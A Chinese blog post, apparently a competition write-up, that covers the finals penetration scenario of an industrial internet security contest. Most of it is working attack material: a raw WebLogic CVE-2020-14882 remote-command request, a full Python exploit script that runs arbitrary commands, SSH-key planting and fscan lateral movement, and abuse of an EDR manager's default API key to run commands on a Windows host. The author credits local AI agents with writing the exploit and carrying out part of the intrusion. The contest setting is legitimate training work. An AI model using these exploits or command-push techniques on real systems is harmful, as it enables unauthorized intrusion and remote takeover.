中国工业互联网安全大赛决赛渗透(部分)"

admin 2026-11-01 01:25:31 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

中国工业互联网安全大赛决赛渗透(部分)

原创

浪漫土狗
浪漫土狗

正在思考ing

2026年10月30日 15:10
江苏

去阅读

和bro们一起打了工业互联网安全大赛的决赛,结果还是非常满意的,遗憾的是上午的实操题和下午的渗透题,因为时间关系没有再多解出几道,但是总体来讲北京之行还是挺圆满的。这里就简单记录下这道场景题的前面几问。

任务一:提交风电公司官网主机下的flag1

扫描到weblogic的漏洞,大概率是打反序列化rce

打poc发现测试成功,修改payload远程命令执行getshell:

POST /console/images/%252e%252e%252fconsole.portal HTTP/1.1
Host: 10.160.201.197
User-Agent: Mozilla/5.0 (Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Content-Length: 1080
Accept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/x-www-form-urlencoded

test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField(\"connectionHandler\");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod(\"getServletRequest\").invoke(obj); java.lang.Process p = java.lang.Runtime.getRuntime().exec(\"whoami\"); java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream())); String result = br.readLine(); if(result==null){result=\"no-output\";} weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod(\"getResponse\").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush(); currentThread.interrupt();')

比赛的时候忘记截图了,实际测试是可以回显root的。但是因为burpsuite的显示问题,有些输出无法在回显中输出,让本地agent写一个exp脚本

#!/usr/bin/env python3
# WebLogic CVE-2020-14882 命令执行(MVEL ShellSession)
# 用法: python exp.py \"id\"  /  python exp.py \"cat /flag1\"
import sys, socket, os

HOST, PORT = \"10.160.201.197\", 80
PATH = \"/console/images/%252e%252e%252fconsole.portal\"
COOKIE = os.environ.get(\"WL_COOKIE\",
    \"ADMINCONSOLESESSION=MiWBGurwn9Nr5BvrOUGXTMF1xEkX8VE7DSc6eN5627_lCSnnel6p!-436991640\")

cmd = sys.argv[1] if len(sys.argv) > 1 else \"id\"

# 注意: MVEL 里不能用 new String[]{...} 和 while 循环,用 Scanner + \\\\A 读全量输出
expr = (
    \"'weblogic.work.ExecuteThread ct=(weblogic.work.ExecuteThread)Thread.currentThread();\"
    \"weblogic.work.WorkAdapter ad=ct.getCurrentWork();\"
    \"java.lang.reflect.Field f=ad.getClass().getDeclaredField(\\\"connectionHandler\\\");\"
    \"f.setAccessible(true);Object o=f.get(ad);\"
    \"weblogic.servlet.internal.ServletRequestImpl req=(weblogic.servlet.internal.ServletRequestImpl)\"
    \"o.getClass().getMethod(\\\"getServletRequest\\\").invoke(o);\"
    \"java.lang.Process p=java.lang.Runtime.getRuntime().exec(\\\"\" + cmd + \"\\\");\"
    \"java.util.Scanner sc=new java.util.Scanner(p.getInputStream());sc.useDelimiter(\\\"\\\\\\\\A\\\");\"
    \"String r=sc.hasNext()?sc.next():\\\"no-output\\\";\"
    \"weblogic.servlet.internal.ServletResponseImpl res=(weblogic.servlet.internal.ServletResponseImpl)\"
    \"req.getClass().getMethod(\\\"getResponse\\\").invoke(req);\"
    \"res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(r));\"
    \"res.getServletOutputStream().flush();ct.interrupt();'\"
)

body = (\"test_handle=com.tangosol.coherence.mvel2.sh.ShellSession(\" + expr + \")\").encode()
req = (
    \"POST \" + PATH + \" HTTP/1.1\\r\
\"
    f\"Host: {HOST}\\r\
\"
    \"Content-Type: application/x-www-form-urlencoded\\r\
\"
    f\"Content-Length: {len(body)}\\r\
\"
    f\"Cookie: {COOKIE}\\r\
\"
    \"Connection: close\\r\
\\r\
\"
).encode() + body

s = socket.create_connection((HOST, PORT), timeout=20)
s.sendall(req)
data = b\"\"
try:
    while True:
        chunk = s.recv(4096)
        if not chunk:
            break
        data += chunk
except Exception as e:
    print(\"[recv end]\", e, file=sys.stderr)
s.close()

head, _, out = data.partition(b\"\\r\
\\r\
\")
status = head.split(b\"\\r\
\")[0].decode(errors=\"replace\")
print(\"[status]\", status, file=sys.stderr)

if b\"Transfer-Encoding: chunked\" in head:
    body_out, i = b\"\", 0
    while i < len(out):
        eol = out.find(b\"\\r\
\", i)
        if eol == -1:
            break
        try:
            n = int(out[i:eol], 16)
        except ValueError:
            break
        if n == 0:
            break
        body_out += out[eol + 2:eol + 2 + n]
        i = eol + 2 + n + 2
    out = body_out

if len(out) > 3000:
    print(\"[param 未被求值 —— 检查 cookie / 是否发送原始 body]\", file=sys.stderr)
else:
    print(out.decode(errors=\"replace\"))
python exp.py \"ls /\"
python exp.py \"cat /flag*\"
#flag{A5ouiyCNq0-98Gqjw3nGqwpoEriuGy8yqw3iuo}

任务二:提交同网段下机器的flag

想不到其他好的方法,就还是写私钥进去,这一步还是让本地agent去操作的,然后就能直接ssh连接跳板机了。

成功远连后,上传fscan扫描

找到另一台靶机的ssh连接密码,直接远连

find的一下flag找到路径直接cat读取

find / -name flag*
cat /root/flag
flag{q0987v1p084;10}

任务三:根据此机器上的API文档,获取到服务连接相关机器的相关权限与对应flag信息

找了半天也不知道api文档在哪个机子上,直接扔给离线agent去信息收集了,雷霆大思考了好久我以为没啥收获,就让其总结下,结果就是api已经打通了,windows主机上的flag也找到了。

后面时间来不及了,也没时间提权了,本地agent也没给我exp脚本,痛失好几个flag。赛后没环境,让agent输出下其渗透思路

/home/opt/whids-1.7.0/apis.md 就是这个\"API文档\",同目录还有 whids-man-v1.7.0-amd64、use_api.py、cmd.sh、check.sh。cmd.sh 里直接写着调用姿势,/home/opt/.bash_history 里还留了 curl localhost:8001/endpoints -X GET -H \"Api-Key: admin\"。

枚举端点:

curl -s -H 'Api-Key: admin' http://localhost:8001/endpoints

返回两个端点,其中 03e31275-2277-d8e0-bb5f-480fac7ee4ef = fengdian2 / 192.168.110.3,last-connection 在实时刷新 → 在线。(另一个 ...4eb 是 197 上 config.toml 配的,从未连接,是死端点。)

关键点:EDR 是端点主动轮询拉取命令,manager 不连端点,所以只要能调 8001 就等于能在这台 Windows 上执行命令。

# 下发
curl -s -X POST -H 'Api-Key: admin' -H 'Content-Type: application/json' \\
  -d '{\"command-line\":\"cmd /c whoami\"}' \\
  http://localhost:8001/endpoints/03e31275-...4ef/command

# 轮询(约 1 分钟一次心跳)
curl -s -H 'Api-Key: admin' http://localhost:8001/endpoints/03e31275-...4ef/command

第一次我发的是 id,返回 error: exec: \"id\": executable file not found in %PATH% —— 这条报错反而直接暴露了 端点是 Windows,必须用 cmd /c 包一层。

结果字段:stdout / stderr 是 base64,解出来是 GBK 编码:

python -c \"import json,base64;d=json.load(open('r.json'))['data'];print(base64.b64decode(d['stdout']).decode('gbk'))\"
cmd /c whoami & hostname & dir C:\\Users
  → fengdian2\\zhangsan
  → C:\\Users 下有 admin / Administrator / Public / zhangsan

cmd /c dir C:\\Users\\zhangsan\\Desktop
  → flag3.txt (30 字节)
  → 资产信息.txt (40 字节)

cmd /c type C:\\Users\\zhangsan\\Desktop\\flag3.txt
  → flag{assOiBNJ987667Hf64E475S1}

中国工业互联网安全大赛决赛渗透(部分)" 网络安全文章

中国工业互联网安全大赛决赛渗透(部分)"

本文记录了中国工业互联网安全大赛决赛的渗透测试实战过程。作者利用WebLogicCVE-2020-14882反序列化漏洞获取目标主机权限,通过SSH私钥登录跳板机进行内网横向移动,并利用fscan扫描发现其他靶机。后续通过分析API文档,利用EDR系统端点主动轮询机制,在Windows主机上执行命令获取flag。文章提供了详细的漏洞利用脚本和操作步骤,对渗透测试人员具有实战参考价值。
VSCode扩展ClaudeCode插件-后门投毒预警" 网络安全文章

VSCode扩展ClaudeCode插件-后门投毒预警"

这是一篇关于ClaudeCode官方扩展被投毒的紧急安全预警。恶意版本2.1.313被发布到OpenVSX,植入持久SSH后门,可自动执行恶意加载器,建立C2反向隧道并设置开机自启。文章提供三分钟自查命令和事件时间线,建议受影响用户立即检查系统并关注官方声明。
从一张公开的终端到节点uid=0" 网络安全文章

从一张公开的终端到节点uid=0"

本文披露一条从公开gotty终端到节点root的完整攻击链。利用gotty的–permit-arguments参数注入tail命令参数,读取kubelet客户端证书及私钥,再通过双向TLS认证访问kubeletAPI,在生产容器中执行命令获得uid=0。文中详述了多个绕过细节,如加号被当空格、文件读取吞文件、POST需带content-length等,并给出修复建议:公网禁用gotty、关闭参数注入、轮换证书。
评论:0   参与:  0